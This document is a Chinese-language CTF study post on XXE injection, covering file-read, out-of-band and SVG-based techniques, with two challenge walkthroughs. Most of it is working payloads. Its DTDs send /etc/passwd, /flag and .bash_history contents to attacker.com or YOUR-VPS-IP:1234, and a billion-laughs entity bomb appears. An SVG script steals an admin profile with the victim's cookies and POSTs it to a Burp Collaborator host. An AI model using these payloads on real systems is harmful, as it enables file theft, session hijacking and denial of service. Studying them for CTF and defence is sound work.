本文最后更新于 2026年5月24日 上午
XXE 是一种 XML 外部实体注入漏洞。当应用程序解析用户提交的 XML 时,如果启用了外部实体解析,并且没有正确过滤或限制,攻击者可以通过定义外部实体来读取服务器本地文件发起 SSRF 等。
1.基础的xxe利用方式
基础文件读取(有回显)
原理:通过定义外部实体引用本地文件(如 /etc/passwd),当 XML 被解析且内容被回显时,文件内容会直接出现在响应中。
前提:后端解析 XML 并将字段内容返回给用户。
用途:读取敏感文件(配置密码flag 等)。
2.Base64 编码绕过
原理:利用 PHP 的 php://filter 流包装器,在读取文件时自动进行 Base64 编码,避免明文内容触发关键词过滤(如flag)。
前提:后端使用 PHP 且支持流包装器。
用途:绕过输出内容中的敏感词检测。
3.带外数据外传(OOB - Out-of-Band)
原理:当服务器不回显解析结果时,通过构造恶意 DTD 文件,让目标服务器在解析过程中主动向攻击者控制的服务器发起 HTTP 或 DNS 请求,并将文件内容嵌入请求的 URL 或子域名中。
前提:目标允许外联(可访问互联网或内网特定服务)。
用途:在无回显场景下窃取数据。
4.XInclude 注入
原理:利用 XML 标准中的 XInclude 功能动态包含外部资源,无需声明 DOCTYPE 或 ENTITY,从而绕过基于 DTD 的检测规则。
前提:后端 XML 解析器支持并启用了 XInclude(如 JavaPython lxml)。
用途:在严格过滤 <!DOCTYPE 的环境中实现文件读取。
5.SSRF(服务端请求伪造)
原理:通过 http:// 或 https:// 协议的外部实体,让服务器向内网或第三方服务发起请求。
前提:解析器允许网络协议。
用途:探测内网服务(如云元数据接口 169.254.169.254)攻击内部系统。
6.源码泄露(PHP 环境)
原理:使用 php://filter 读取 PHP 源文件而不执行,获取应用逻辑硬编码凭证或真实 flag 路径。
前提:目标为 PHP 应用。
用途:辅助进一步攻击或直接获取 flag。
7.命令执行(极少见)
原理:在 PHP 启用了危险的 expect 模块时,可通过 expect:// 协议执行系统命令。
前提:expect 扩展启用(默认不安装)。
用途:远程代码执行(RCE),但现实中几乎不可用。
8.WAF 绕过技巧(混淆与编码)
原理:通过大小写变换Unicode 实体编码协议变种等方式,绕过基于字符串匹配的 Web 应用防火墙(WAF)。
前提:WAF 规则简单,未做语义分析。
用途:使标准 payload 不被拦截。
9.二次注入 / 嵌套实体(进阶 OOB)
原理:在外部 DTD 中动态构造新的实体,实现多阶段解析,将文件内容拼接到外联请求中。
前提:支持参数实体和嵌套引用。
用途:实现更隐蔽更可靠的 OOB 数据外传。
实践
首先我们都得有一个最基础的框架:
1 2 3
| <?xml version="1.0" encoding="utf-8"?> <root> </root>
|
然后呢就是通过抓包看输入进去的文本的标签,比如说登录一个账号密码,可能他的框架就是
1 2 3 4 5 6
| <user> <username> </username> <password> </password> </user>
|
而我们要做的就是在其中插入我们利用自己创造的标签来实现从外到内的插入
比如说:(外联实例注入)
1 2 3 4 5 6 7 8 9
| <!DOCTYPE root [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]> ---创建一个file标签,然后再给这个标签赋予所需要的访问文件路径 <user> <username>&file; </username> <password>&file; </password> </user>
|
内联DTD:
1 2 3 4 5 6 7 8 9
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ELEMENT root (message+)> <!ELEMENT message (#PCDATA)> <!ENTITY greeting "Hello, World!"> ]> <root> <message>&greeting;</message> </root>
|
总的来说就是修改双引号内的文件内容,然后再让系统执行
接着就是服务器外带
首先看到的就是
外带xxe攻击
1 2 3 4 5 6 7 8 9 10
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://attacker.com/exfil.dtd"> %dtd; %send; ]> <root> <message>test</message> </root>
|
我们可以在我们自己的vps里面部署好dtd脚本
1 2
| <!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>"> %all;
|
这样就可以实现文件外带了
DDOS拒绝服务攻击
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://example.com/very-large-file.xml"> ]> <root> <message>&xxe;</message> </root>
|
在vps里面部署好
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY a "1"> <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"> <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;"> <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;"> <!--可以多写点继续扩展实体--> ]> <root> <message>&d;</message> </root>
|
常见的漏洞代码形式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| // Java中的XXE漏洞模式 DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = factory.newDocumentBuilder(); Document document = builder.parse(new InputSource(new StringReader(xmlInput)));
// Python中的XXE漏洞模式 import xml.etree.ElementTree as ET tree = ET.parse(xml_input) root = tree.getroot()
// PHP中的XXE漏洞模式 $dom = new DOMDocument(); $dom->loadXML($xml_input);
// Node.js中的XXE漏洞模式 const libxmljs = require("libxmljs"); const xmlDoc = libxmljs.parseXml(xml_input);
|
实战
新手:0xGame 2025留言板(粉)
开题
弱密码(admin/admin123)爆破后进入题目:

十分简洁,就是直接输入插入代码
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]> <root> <message>&file;</message> </root>
|

发现回显成功,修改文件路径拿到flag

中等难度:极客大挑战2025——Image Viewer
开题发现是一个在线浏览图片的网址,故可以联想到svg+xxe漏洞的这样一个形式
尝试简单的payload
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///flag" > ]> <svg height="100" width="1000"> <text x="10" y="20">&file;</text> </svg>
|

拿到flag
有关SVG文件的上传漏洞
1.svg造成的xss漏洞
首先svg的payload构建方式跟xxe是差不多的
SVG 中支持 script 元素,等同于 HTML 中的 script 元素,因此这个位置是面向脚本的。任何定义在script元素中的函数拥有一个跨当前文档的全局范围。
例:用浏览器打开下面的 SVG 图片就会造成 XSS
1 2 3 4
| <svg xmlns="http://www.w3.org/2000/svg" version="1.1"> <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" /> <script>alert(1)</script> </svg>
|
除此之外,你还可以在 SVG 标签中加入 DOM / HTML 层面的全局属性,例如 onclick、onload等属性
以下为在 SVG 中可使用、且能直接配合 alert() 的所有 DOM / HTML 全局事件属性(Event Handler Attributes)完整列表。
1 2 3 4 5 6 7 8 9 10
| onclick //鼠标单击触发 oncontextmenu //右键菜单(右键点击) ondblclick //鼠标双击 onmousedown //鼠标按下 onmouseenter //鼠标离开,但不会因为子元素导致重复触发 onmouseleave //鼠标进入,但不会因为子元素导致重复触发 onmousemove //鼠标在元素上移动 onmouseout //鼠标移出元素 onmouseover //从外部进入元素范围时触发 onmouseup //鼠标松开
|
(注:SVG 也能接收键盘事件, 默认不接受,除非你加上 tabindex="0" 才能获得焦点)
1 2 3
| onkeydown //按键按下 onkeypress //输入可见字符(新标准已废弃,但仍可用) onkeyup //按键松开
|
1 2
| onblur //失去焦点时触发 onfocus //取得焦点时触发
|
主要用于可编辑 SVG 或 SVG 外层嵌套表单时,通常 SVG 不直接使用,但若内部有 <foreignObject> 或可编辑节点则能触发。
1 2
| onchange //内容变化完成后触发 oninput //输入时触发
|
1 2 3 4 5 6 7
| ondrag //正在拖动 ondrop //放下拖动对象 ondragstart //开始拖动 ondragend //结束拖动 ondragenter //被拖东西进入元素 ondragleave //拖动对象离开 ondragover //拖动对象停在上面
|
1 2 3
| oncopy //复制时触发 oncut //剪切时触发 onpaste //粘贴时触发
|
1 2 3 4
| ontouchstart //手指触摸开始 ontouchend //手指抬起 ontouchmove //手指移动 ontouchcancel //系统取消触摸
|
(现代浏览器通用,指针可以是鼠标、触摸、触控笔等)
1 2 3 4 5 6 7 8
| onpointerdown //指针按下(按下瞬间触发) onpointerup //指针松开(按下结束) onpointermove //指针移动 onpointerenter //指针进入元素(不冒泡) onpointerleave //指针离开元素(不冒泡) onpointerover //指针移入元素(会冒泡) onpointerout //指针移出元素(会冒泡) onpointercancel //指针被取消(系统取消交互)
|
窗口事件(Window event)
除了上述属性,还有些属性本身不会执行 JS,但由于它们具备“事件绑定能力”或“可被事件驱动”,因此能导致某些动作在事件发生时触发,例如 begin、end、restart、repeatCount和repeatDur等等
例1:
1
| <svg xmlns="http://www.w3.org/2000/svg" onclick="alert(1)"></svg>
|
例2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <svg xmlns="http://www.w3.org/2000/svg"> <polygon fill="#00B0D9" points="41.5,40 38.7,39.2 38.7,47.1 41.5,47.1"/> <script type="text/javascript"> var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState === 4) { var xhr2 = new XMLHttpRequest(); xhr2.open("POST", "http://XXXX.burpcollaborator.net/"); xhr2.send(xhr.responseText); } } xhr.open("GET", "http://www.target.com/profile/admin"); xhr.withCredentials = true; xhr.send(); </script> </svg>
|
- 用户A 访问了包含恶意脚本的页面
- 恶意脚本在 用户A 的浏览器中执行
- XMLHttpRequest 使用 用户A 的cookies访问 /profile/admin
- 获取 用户A 自己的管理员数据
- 将 用户A 的数据发送给攻击者
SVG造成XXE
SVG 是基于 XML 的矢量图,因此支持 Entity (实体)功能
XXE 一般也分为有回显和无回显情况
有回显情况下,比较简单,直接读取就行:
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///etc/passwd" > ]> <svg height="100" width="1000"> <text x="10" y="20">&file;</text> </svg>
|
无回显情况下,则相对比较复杂:
PHP 处理代码:
1 2 3 4 5 6
| <?php libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ?>
|
xml.dtd:
1 2 3
| <!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag"> <!ENTITY %start "<!ENTITY % send SYSTEM 'http://YOUR-VPS-IP:1234/?%file;'>">
|
payload:
1 2 3 4 5 6 7
| <?xml version="1.0"?> <!DOCTYPE Note [ <!ENTITY %remote SYSTEM "http://YOUR-VPS-IP/xml.dtd"> %remote; %start; %send; ]>
|
XXE 实现外带数据的整个流程:
- 首先我们payload中的 %remote 去获取 vps 上的 xml.dtd
- 然后 xml.dtd 中的 %start 去调用 %file
- %file 获取服务器上的 C:/WINDOWS/win.ini 文件并将他 base64 编码
- 最后通过 %send 将数据发送到vps监听的1234端口上
结合 SVG,通过加载外部一个 dtd 文件,然后把读取结果以 HTTP 请求的方式发送到自己的 VPS:
1.svg:
1 2 3 4 5 6 7 8 9 10 11 12
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE Note [ <!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history"> <!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history"> <!ENTITY %remote SYSTEM "http://YOUR-VPS-IP:1234/xml.dtd"> %remote; %start; %send; ]> <svg xmlns="http://www.w3.org/2000/svg" height="200" width="200"> <text y="20" font-size="20">&lab;</text> </svg>
|
xml.dtd:
1
| <!ENTITY % start "<!ENTITY % send SYSTEM 'http://YOUR-VPS-IP:1234/?%file;'>">
|
或者是
1
| <!ENTITY % start "<!ENTITY % send SYSTEM 'http://YOUR-VPS-IP:1234/?%file;'>">
|
1.svg 和 xml.dtd 放到 vps 上,然后在 vps 上监听 1234 端口,再在网页提交 1.svg 的链接即可成功读取